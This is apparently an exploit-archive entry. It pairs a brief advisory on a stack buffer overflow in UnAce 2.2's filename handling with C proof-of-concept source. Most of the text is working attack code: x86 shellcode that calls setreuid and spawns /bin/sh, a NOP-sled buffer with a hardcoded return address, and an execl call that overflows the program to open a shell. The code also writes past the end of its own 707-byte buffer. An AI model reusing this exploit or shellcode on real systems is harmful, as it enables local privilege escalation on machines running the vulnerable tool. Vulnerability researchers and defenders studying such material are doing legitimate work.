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72 lines
No EOL
2.9 KiB
C
72 lines
No EOL
2.9 KiB
C
// source: https://www.securityfocus.com/bid/9002/info
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UnAce has been reported to be prone to a buffer overflow vulnerability. The issue presents itself when UnAce handles ace filenames that are of excessive length. When this filename is passed to the UnAce utility as an argument, the string is copied into a reserved buffer in memory. Data that exceeds the size of the reserved buffer will overflow its bounds and will trample any saved data that is adjacent to the affected buffer. Ultimately this may lead to the execution of arbitrary instructions in the context of the user who is running UnAce.
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/* gEEk-unace.c
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*
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* PoC exploit made for advisory based uppon an local stack based overflow.
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* Vulnerable versions, maybe also prior versions:
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*
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* Unace v2.2
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*
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* Tested on: Debian 3.0
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*
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* Advisory source: MegaHz
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* http://www.securityfocus.com/archive/1/344065/2003-11-07/2003-11-13/0
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*
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* -----------------------------------------
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* coded by: demz (geekz.nl) (demz@geekz.nl)
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* -----------------------------------------
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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char shellcode[]=
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"\x31\xc0" // xor eax, eax
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"\x31\xdb" // xor ebx, ebx
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"\x31\xc9" // xor ecx, ecx
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"\xb0\x46" // mov al, 70
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\x50" // push eax
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"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
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"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
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"\x89\xe3" // mov ebx, esp
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"\x50" // push eax
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"\x53" // push ebx
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"\x89\xe1" // mov ecx, esp
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"\x99" // cdq
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"\xb0\x0b" // mov al, 11
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\xb0\x01" // mov al, 1
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"\xcd\x80"; // int 0x80
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int main()
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{
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unsigned long ret = 0xbfffc260;
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char buffer[707];
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int i=0;
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memset(buffer, 0x90, sizeof(buffer));
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for (0; i < strlen(shellcode) - 1;i++)
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buffer[300 + i] = shellcode[i];
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buffer[707] = (ret & 0x000000ff);
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buffer[708] = (ret & 0x0000ff00) >> 8;
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buffer[709] = (ret & 0x00ff0000) >> 16;
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buffer[710] = (ret & 0xff000000) >> 24;
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buffer[711] = 0x0;
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printf("\nUnace v2.2 local exploit\n");
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printf("---------------------------------------- demz @ geekz.nl --\n");
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execl("./unace", "unace", "e", buffer, NULL);
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} |